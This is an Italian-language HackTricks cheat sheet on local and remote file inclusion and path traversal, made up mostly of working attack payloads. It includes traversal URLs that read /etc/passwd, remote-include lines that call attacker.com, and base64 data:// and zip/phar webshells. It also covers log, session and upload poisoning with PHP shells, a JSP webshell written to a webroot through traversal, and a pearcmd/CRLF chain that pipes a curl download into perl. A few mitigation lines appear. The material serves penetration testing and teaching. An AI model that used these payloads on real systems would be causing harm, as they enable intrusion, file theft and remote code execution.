File Inclusion/Path traversal
Reading time: 29 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
File Inclusion
Remote File Inclusion (RFI): Il file viene caricato da un server remoto (Ideale: puoi scrivere il codice e il server lo eseguirà). In php questo è disabilitato di default (allow_url_include).
Local File Inclusion (LFI): Il server carica un file locale.
La vulnerabilità si verifica quando l'utente può controllare in qualche modo il file che verrà caricato dal server.
Funzioni PHP vulnerabili: require, require_once, include, include_once
Uno strumento interessante per sfruttare questa vulnerabilità: https://github.com/kurobeats/fimap
Blind - Interesting - LFI2RCE files
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
Mescolando diverse *nix liste LFI e aggiungendo altri percorsi ho creato questa:
Prova anche a cambiare /
con \
Prova anche ad aggiungere ../../../../../
Una lista che usa diverse tecniche per trovare il file /etc/password (per verificare se la vulnerabilità esiste) può essere trovata qui
Windows
Unione di diverse wordlists:
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
Prova anche a cambiare /
con \
Prova anche a rimuovere C:/
e aggiungere ../../../../../
Una lista che usa diverse tecniche per trovare il file /boot.ini (per verificare se la vulnerabilità esiste) può essere trovata qui
OS X
Controlla la lista LFI di linux.
LFI di base e bypass
Tutti gli esempi sono per Local File Inclusion ma possono essere applicati anche a Remote File Inclusion (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
sequenze traversal rimosse non ricorsivamente
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
Bypassare l'aggiunta di altri caratteri alla fine della stringa fornita (bypass di: $_GET['param']."php")
http://example.com/index.php?page=../../../etc/passwd%00
Questo è risolto a partire da PHP 5.4
Codifica
Puoi usare codifiche non standard come doppio URL encode (e altre):
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
Dalla cartella esistente
Forse il back-end sta controllando il percorso della cartella:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Esplorare le directory del file system su un server
Il file system di un server può essere esplorato ricorsivamente per individuare directory, non solo file, usando determinate tecniche. Il processo prevede la determinazione della profondità delle directory e la verifica dell'esistenza di cartelle specifiche. Di seguito un metodo dettagliato per farlo:
- Determinare la profondità delle directory: Accerta la profondità della directory corrente recuperando con successo il file
/etc/passwd
(applicabile se il server è basato su Linux). Un esempio di URL potrebbe essere strutturato come segue, indicando una profondità di tre:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- Probe for Folders: Aggiungi il nome della cartella sospetta (ad es.,
private
) all'URL, quindi torna a navigare verso/etc/passwd
. Il livello di directory aggiuntivo richiede di incrementare la profondità di uno:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- Interpretare i risultati: La risposta del server indica se la cartella esiste:
- Errore / Nessun output: La cartella
private
probabilmente non esiste nella posizione specificata. - Contenuto di
/etc/passwd
: La presenza della cartellaprivate
è confermata.
- Esplorazione ricorsiva: Le cartelle scoperte possono essere ulteriormente esplorate per sottodirectory o file usando la stessa tecnica o i tradizionali metodi di Local File Inclusion (LFI).
Per esplorare directory in posizioni diverse del file system, regola il payload di conseguenza. Ad esempio, per verificare se /var/www/
contiene una directory private
(assumendo che la directory corrente sia a una profondità di 3), usa:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Path Truncation Technique
Path truncation è un metodo impiegato per manipolare i percorsi dei file nelle applicazioni web. Viene spesso usato per accedere a file restritti bypassando certe misure di sicurezza che aggiungono caratteri extra alla fine dei percorsi dei file. L'obiettivo è costruire un percorso file che, una volta alterato dalla misura di sicurezza, punti comunque al file desiderato.
In PHP, diverse rappresentazioni di un percorso file possono essere considerate equivalenti a causa della natura del file system. Per esempio:
/etc/passwd
,/etc//passwd
,/etc/./passwd
, and/etc/passwd/
sono trattati tutti come lo stesso percorso.- Quando gli ultimi 6 caratteri sono
passwd
, aggiungere una/
(facendolo diventarepasswd/
) non cambia il file di destinazione. - Allo stesso modo, se viene aggiunto
.php
a un percorso file (comeshellcode.php
), aggiungere/.
alla fine non altera il file a cui si accede.
Gli esempi forniti mostrano come utilizzare path truncation per accedere a /etc/passwd
, un bersaglio comune a causa del suo contenuto sensibile (informazioni sugli account utente):
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
In questi scenari, il numero di traversals necessari potrebbe essere circa 2027, ma questo numero può variare in base alla configurazione del server.
- Using Dot Segments and Additional Characters: Le traversal sequences (
../
) combinate con segmenti puntati aggiuntivi e caratteri possono essere utilizzate per navigare il file system, ignorando effettivamente le stringhe aggiunte dal server. - Determining the Required Number of Traversals: Tramite tentativi ed errori, si può trovare il numero preciso di
../
necessari per raggiungere la root e poi/etc/passwd
, assicurando che eventuali stringhe aggiunte (come.php
) vengano neutralizzate ma il path desiderato (/etc/passwd
) rimanga intatto. - Starting with a Fake Directory: È pratica comune iniziare il path con una directory inesistente (come
a/
). Questa tecnica viene usata come misura precauzionale o per soddisfare i requisiti della path parsing logic del server.
Quando si impiegano tecniche di path truncation, è cruciale comprendere il comportamento di path parsing del server e la struttura del filesystem. Ogni scenario potrebbe richiedere un approccio diverso, e spesso è necessario testare per trovare il metodo più efficace.
This vulnerability was corrected in PHP 5.3.
Filter bypass tricks
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
In php questo è disabilitato per impostazione predefinita perché allow_url_include
è Off. Deve essere On perché funzioni, e in quel caso potresti includere un file PHP dal tuo server e ottenere RCE:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Se per qualche motivo allow_url_include
è On, ma PHP sta filtrando l'accesso a pagine web esterne, secondo questo post, puoi usare per esempio il data protocol con base64 per decodificare un codice PHP in b64 e ottenere RCE:
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
tip
Nel codice precedente, il finale +.txt
è stato aggiunto perché l'attaccante aveva bisogno di una stringa che terminasse con .txt
, quindi la stringa finisce con esso e dopo la decodifica b64 quella parte restituirà solo spazzatura e il vero codice PHP verrà incluso (e quindi eseguito).
Another example not using the php://
protocol would be:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
Python elemento root
In Python, in un codice come il seguente:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
Se l'utente passa un percorso assoluto a file_name
, il percorso precedente viene semplicemente rimosso:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
È il comportamento previsto secondo the docs:
Se un componente è un percorso assoluto, tutti i componenti precedenti vengono scartati e l'unione continua dal componente del percorso assoluto.
Java - Elenco directory
Sembra che se hai un Path Traversal in Java e richiedi una directory invece di un file, venga restituito l'elenco della directory. Questo non succede in altri linguaggi (per quanto ne so).
Top 25 parametri
Ecco una lista dei 25 parametri principali che potrebbero essere vulnerabili a local file inclusion (LFI) vulnerabilities (da link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI using PHP wrappers & protocols
php://filter
PHP filters permettono di eseguire operazioni di base di modifica sui dati prima che vengano letti o scritti. Ci sono 5 categorie di filtri:
- String Filters:
string.rot13
string.toupper
string.tolower
string.strip_tags
: Rimuove i tag dai dati (tutto ciò che si trova tra i caratteri "<" e ">")- Nota che questo filtro è scomparso dalle versioni moderne di PHP
- Conversion Filters
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: Trasforma in una codifica differente (convert.iconv.<input_enc>.<output_enc>
). Per ottenere la lista di tutte le codifiche supportate esegui in console:iconv -l
warning
Abusando del filtro di conversione convert.iconv.*
puoi generare testo arbitrario, cosa che può essere utile per scrivere testo arbitrario o far sì che una funzione come include processi testo arbitrario. Per maggiori informazioni vedi LFI2RCE via php filters.
- Compression Filters
zlib.deflate
: Comprimi il contenuto (utile se esfiltrando molte informazioni)zlib.inflate
: Decomprimi i dati- Encryption Filters
mcrypt.*
: Deprecatomdecrypt.*
: Deprecato- Other Filters
- Eseguendo in php
var_dump(stream_get_filters());
puoi trovare un paio di filtri inaspettati: consumed
dechunk
: inverte l'encoding HTTP chunkedconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
warning
La parte "php://filter" non è case sensitive
Usare php filters come oracle per leggere file arbitrari
In questo post viene proposta una tecnica per leggere un file locale senza ottenere l'output restituito dal server. Questa tecnica si basa su una boolean exfiltration of the file (char by char) using php filters come oracle. Questo perché i php filters possono essere usati per rendere un testo abbastanza grande da far scattare un'eccezione in php.
Nel post originale si trova una spiegazione dettagliata della tecnica, qui invece un riassunto veloce:
- Use the codec
UCS-4LE
to leave leading character of the text at the begging and make the size of string increases exponentially. - Questo verrà usato per generare un text so big when the initial letter is guessed correctly che php scarterà con un error
- Il filter dechunk rimuoverà tutto se il primo char non è un hexadecimal, quindi possiamo sapere se il primo char è hex.
- Questo, combinato con il precedente (e altri filters a seconda della lettera indovinata), ci permetterà di indovinare una lettera all'inizio del testo osservando quando, applicando abbastanza trasformazioni, essa non è più un hexadecimal character. Perché se è hex, dechunk non la cancellerà e la bomba iniziale farà scattare l'error di php.
- Il codec convert.iconv.UNICODE.CP930 trasforma ogni lettera nella successiva (quindi dopo questo codec: a -> b). Questo ci permette di scoprire se la prima lettera è una
a
, per esempio, perché se applichiamo 6 volte questo codec a->b->c->d->e->f->g la lettera non è più un carattere hexadecimal, quindi dechunk non la elimina e l'error php viene triggerato perché si moltiplica con la bomba iniziale. - Usando altre trasformazioni come rot13 all'inizio è possibile leakare altri caratteri come n, o, p, q, r (e altri codec possono essere usati per spostare altre lettere nell'intervallo hex).
- Quando il carattere iniziale è un numero è necessario codificarlo in base64 e leakare le prime 2 lettere per leakare il numero.
- Il problema finale è capire how to leak more than the initial letter. Usando order memory filters come convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE è possibile cambiare l'ordine dei chars e portare in prima posizione altre lettere del testo.
- E per poter ottenere further data l'idea è generare 2 bytes of junk data at the beginning con convert.iconv.UTF16.UTF16, applicare UCS-4LE per farli pivot with the next 2 bytes, e delete the data until the junk data (questo rimuoverà i primi 2 bytes del testo iniziale). Continuare così fino a raggiungere il bit desiderato da leakare.
Nel post è stato anche pubblicato uno strumento per eseguire questo automaticamente: php_filters_chain_oracle_exploit.
php://fd
Questo wrapper permette di accedere ai file descriptors che il processo ha aperti. Potenzialmente utile per exfiltrate il contenuto di file aperti:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
Puoi anche usare php://stdin, php://stdout e php://stderr per accedere ai descrittori di file 0, 1 e 2 rispettivamente (non sono sicuro di come questo possa essere utile in un attacco)
zip:// and rar://
Carica un file Zip o Rar con una PHPShell all'interno e accedervi.
Per poter sfruttare il protocollo rar, esso deve essere specificamente attivato.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Nota che questo protocollo è limitato dalle configurazioni PHP allow_url_open
e allow_url_include
expect://
Expect deve essere attivato. Puoi eseguire codice usando questo:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
Specifica il tuo payload nei parametri POST:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
Un file .phar
può essere utilizzato per eseguire codice PHP quando un'applicazione web usa funzioni come include
per il caricamento di file. Lo snippet di codice PHP riportato sotto dimostra la creazione di un file .phar
:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
Per compilare il file .phar
, eseguire il seguente comando:
php --define phar.readonly=0 create_path.php
Alla sua esecuzione, verrà creato un file chiamato test.phar
, che potrebbe essere utilizzato per sfruttare vulnerabilità di Local File Inclusion (LFI).
Nei casi in cui la LFI effettua solo la lettura dei file senza eseguire il codice PHP al loro interno, tramite funzioni come file_get_contents()
, fopen()
, file()
, file_exists()
, md5_file()
, filemtime()
, o filesize()
, è possibile tentare lo sfruttamento di una vulnerabilità di deserializzazione. Questa vulnerabilità è associata alla lettura di file usando il protocollo phar
.
Per una comprensione dettagliata dello sfruttamento di vulnerabilità di deserializzazione nel contesto dei file .phar
, consultare il documento collegato qui sotto:
Phar Deserialization Exploitation Guide
CVE-2024-2961
È stato possibile sfruttare qualsiasi lettura di file arbitraria da PHP che supporta php filters per ottenere una RCE. La descrizione dettagliata può essere found in this post.
Breve riassunto: un overflow di 3 byte nell'heap di PHP è stato sfruttato per alterare la catena dei chunk liberi di una specifica dimensione al fine di poter scrivere qualsiasi cosa in qualsiasi indirizzo, quindi è stato aggiunto un hook per chiamare system
.
È stato possibile allocare chunk di dimensioni specifiche abusando di ulteriori php filters.
More protocols
Consulta altri possibili protocols to include here:
- php://memory and php://temp — Scrive in memoria o in un file temporaneo (non sono sicuro di come questo possa essere utile in un file inclusion attack)
- file:// — Accesso al filesystem locale
- http:// — Accesso a URL HTTP(s)
- ftp:// — Accesso a URL FTP(s)
- zlib:// — Stream di compressione
- glob:// — Trova pathname corrispondenti al pattern (Non restituisce nulla di stampabile, quindi non è molto utile qui)
- ssh2:// — Secure Shell 2
- ogg:// — Stream audio (Non utile per leggere file arbitrari)
LFI via PHP's 'assert'
I rischi di Local File Inclusion (LFI) in PHP sono particolarmente elevati quando si ha a che fare con la funzione 'assert', che può eseguire codice presente in stringhe. Questo è particolarmente problematico se l'input che contiene caratteri di directory traversal come ".." viene controllato ma non correttamente sanitizzato.
Ad esempio, del codice PHP potrebbe essere progettato per prevenire il directory traversal in questo modo:
assert("strpos('$file', '..') === false") or die("");
Sebbene ciò miri a impedire la traversal, crea involontariamente un vettore per code injection. Per sfruttarlo per leggere il contenuto dei file, un attaccante potrebbe usare:
' and die(highlight_file('/etc/passwd')) or '
Allo stesso modo, per eseguire comandi di sistema arbitrari, si potrebbe usare:
' and die(system("id")) or '
È importante URL-encode these payloads.
PHP Blind Path Traversal
warning
Questa tecnica è rilevante nei casi in cui tu controlli il percorso del file di una funzione PHP che accéderà a un file ma non vedrai il contenuto del file (come una semplice chiamata a file()
) perché il contenuto non viene mostrato.
In questo incredibile post viene spiegato come un blind path traversal possa essere abusato via PHP filter per exfiltrate the content of a file via an error oracle.
In sintesi, la tecnica utilizza la codifica "UCS-4LE" per rendere il contenuto di un file così grande che la funzione PHP che apre il file innescherà un errore.
Poi, per leak del primo char viene utilizzato il filtro dechunk
insieme ad altri come base64 o rot13, e infine i filtri convert.iconv.UCS-4.UCS-4LE e convert.iconv.UTF16.UTF-16BE vengono usati per place other chars at the beggining and leak them.
Funzioni che potrebbero essere vulnerabili: file_get_contents
, readfile
, finfo->file
, getimagesize
, md5_file
, sha1_file
, hash_file
, file
, parse_ini_file
, copy
, file_put_contents (only target read only with this)
, stream_get_contents
, fgets
, fread
, fgetc
, fgetcsv
, fpassthru
, fputs
Per i dettagli tecnici controlla il post menzionato!
LFI2RCE
Arbitrary File Write via Path Traversal (Webshell RCE)
Quando il codice server-side che riceve/carica file costruisce il percorso di destinazione usando dati controllati dall'utente (es., un filename o URL) senza canonicalizzare e validare, i segmenti ..
e i percorsi assoluti possono uscire dalla directory prevista e causare una scrittura arbitraria di file. Se puoi posizionare il payload in una directory esposta dal web, di solito ottieni RCE non autenticata inserendo una webshell.
Workflow tipico di sfruttamento:
- Identifica una primitive di scrittura in un endpoint o background worker che accetta un path/filename e scrive contenuto su disco (es., message-driven ingestion, XML/JSON command handlers, ZIP extractors, ecc.).
- Determina le directory esposte al web. Esempi comuni:
- Apache/PHP:
/var/www/html/
- Tomcat/Jetty:
<tomcat>/webapps/ROOT/
→ dropshell.jsp
- IIS:
C:\inetpub\wwwroot\
→ dropshell.aspx
- Crea un percorso di traversal che esca dalla directory di storage prevista verso il webroot, e includi il contenuto della tua webshell.
- Naviga fino al payload droppato ed esegui comandi.
Note:
- Il servizio vulnerabile che esegue la scrittura può ascoltare su una porta non-HTTP (es., un JMF XML listener su TCP 4004). Il portale web principale (porta diversa) servirà poi il tuo payload.
- Negli stack Java, queste scritture di file sono spesso implementate con semplici concatenazioni
File
/Paths
. La mancanza di canonicalizzazione/allow-listing è il difetto principale.
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
Mitigazioni che contrastano questa classe di bug:
- Risolvere a un percorso canonico e garantire che sia un discendente di una directory base allow-listed.
- Rifiutare qualsiasi percorso contenente
..
, root assoluti, o lettere di drive; preferire nomi di file generati. - Eseguire il writer con un account a basso privilegio e segregare le directory di scrittura dalle root servite.
Remote File Inclusion
Spiegato in precedenza, follow this link.
Via Apache/Nginx log file
Se il server Apache o Nginx è vulnerabile a LFI all'interno della funzione include puoi provare ad accedere a /var/log/apache2/access.log
or /var/log/nginx/access.log
, inserire nel user agent o in un GET parameter una php shell come <?php system($_GET['c']); ?>
e includere quel file
warning
Nota che se usi doppi apici per la shell invece di virgolette semplici, i doppi apici saranno modificati nella stringa "quote;", PHP genererà un errore lì e niente verrà eseguito.
Inoltre, assicurati di scrivere correttamente il payload o PHP genera un errore ogni volta che prova a caricare il file di log e non avrai una seconda opportunità.
Questo può essere fatto anche in altri log ma fai attenzione, il codice all'interno dei log potrebbe essere URL encoded e questo potrebbe distruggere la Shell. L'header authorisation "basic" contiene "user:password" in Base64 ed è decodificato all'interno dei log. La PHPShell potrebbe essere inserita all'interno di questo header.
Altri possibili percorsi di log:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Wordlist per Fuzzing: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Via Email
Invia una mail a un account interno (user@localhost) contenente il tuo payload PHP come <?php echo system($_REQUEST["cmd"]); ?>
e prova a includere la mail dell'utente con un percorso come /var/mail/<USERNAME>
o /var/spool/mail/<USERNAME>
Via /proc/*/fd/*
- Carica molte shells (per esempio : 100)
- Includi http://example.com/index.php?page=/proc/$PID/fd/$FD, con $PID = PID del processo (può essere brute forced) e $FD il file descriptor (anche questo può essere brute forced)
Via /proc/self/environ
Come un file di log, invia il payload nello User-Agent, verrà riflesso nel file /proc/self/environ
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Via upload
Se puoi uploadare un file, basta iniettare il shell payload al suo interno (es.: <?php system($_GET['c']); ?>
).
http://example.com/index.php?page=path/to/uploaded/file.png
Per mantenere il file leggibile è meglio inserire nei metadati delle immagini/doc/pdf
Via upload di file ZIP
Carica un file ZIP che contiene una PHP shell compressa e accedi:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Tramite PHP sessions
Verifica se il sito usa PHP Session (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
In PHP queste sessioni sono memorizzate in /var/lib/php5/sess\[PHPSESSID]_ file
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Imposta il cookie su <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Usa LFI per includere il file di sessione PHP
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
Via ssh
Se ssh è attivo controlla quale utente è in uso (/proc/self/status & /etc/passwd) e prova ad accedere <HOME>/.ssh/id_rsa
Via vsftpd logs
The logs for the FTP server vsftpd are located at /var/log/vsftpd.log. In the scenario where a Local File Inclusion (LFI) vulnerability exists, and access to an exposed vsftpd server is possible, the following steps can be considered:
- Inject a PHP payload into the username field during the login process.
- Post injection, utilize the LFI to retrieve the server logs from /var/log/vsftpd.log.
Via php base64 filter (using base64)
As shown in this articolo, PHP base64 filter semplicemente ignora i caratteri Non-base64. Puoi usare questo per bypassare il controllo dell'estensione del file: se fornisci un base64 che termina con ".php", esso semplicemente ignorerà il "." e aggiungerà "php" al base64. Ecco un esempio di payload:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Via php filters (nessun file necessario)
This writeup explains that you can use php filters per generare contenuto arbitrario as output. Which basically means that you can generare codice php arbitrario for the include senza doverlo scrivere in un file.
Via segmentation fault
Carica un file che verrà memorizzato come temporaneo in /tmp
, poi nella stessa richiesta causa un segmentation fault, e il file temporaneo non verrà eliminato e potrai cercarlo.
LFI2RCE via Segmentation Fault
Via Nginx temp file storage
Se trovi una Local File Inclusion e Nginx è in esecuzione davanti a PHP potresti essere in grado di ottenere RCE con la seguente tecnica:
Via PHP_SESSION_UPLOAD_PROGRESS
Se trovi una Local File Inclusion anche se non hai una sessione e session.auto_start
è Off
. Se fornisci la PHP_SESSION_UPLOAD_PROGRESS
nei dati multipart POST, PHP abiliterà la sessione per te. Potresti abusarne per ottenere RCE:
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Via temp file uploads in Windows
Se trovi una Local File Inclusion e il server è in esecuzione su Windows, potresti ottenere RCE:
Via pearcmd.php
+ URL args
As explained in this post, the script /usr/local/lib/phppearcmd.php
exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an =
, it should be used as an argument. See also watchTowr’s write-up and Orange Tsai’s “Confusion Attacks”.
The following request create a file in /tmp/hello.php
with the content <?=phpinfo()?>
:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Quanto segue sfrutta una vuln CRLF per ottenere RCE (da qui):
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Via phpinfo() (file_uploads = on)
Se trovi una Local File Inclusion e un file che espone phpinfo() con file_uploads = on puoi ottenere RCE:
Via compress.zlib + PHP_STREAM_PREFER_STUDIO
+ Path Disclosure
Se trovi una Local File Inclusion e puoi esfiltrare il percorso del file temporaneo MA il server sta controllando se il file da includere abbia marcatori PHP, puoi provare a bypassare quel controllo con questa Race Condition:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
Via eternal waiting + bruteforce
Se puoi abusare della LFI per caricare file temporanei e far sì che il server blocchi l'esecuzione PHP, potresti poi forzare i nomi dei file per ore per trovare il file temporaneo:
Verso un Fatal Error
Se includi uno dei file /usr/bin/phar
, /usr/bin/phar7
, /usr/bin/phar.phar7
, /usr/bin/phar.phar
. (Devi includere lo stesso file 2 volte per far scattare quell'errore).
Non so quanto possa essere utile, ma potrebbe esserlo.
Anche se causi un PHP Fatal Error, i file temporanei PHP caricati vengono eliminati.
.png)
References
- PayloadsAllTheThings
- PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
- Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)
- Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5
- watchTowr – We need to talk about PHP (pearcmd.php gadget)
- Orange Tsai – Confusion Attacks on Apache
- VTENEXT 25.02 – a three-way path to RCE
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.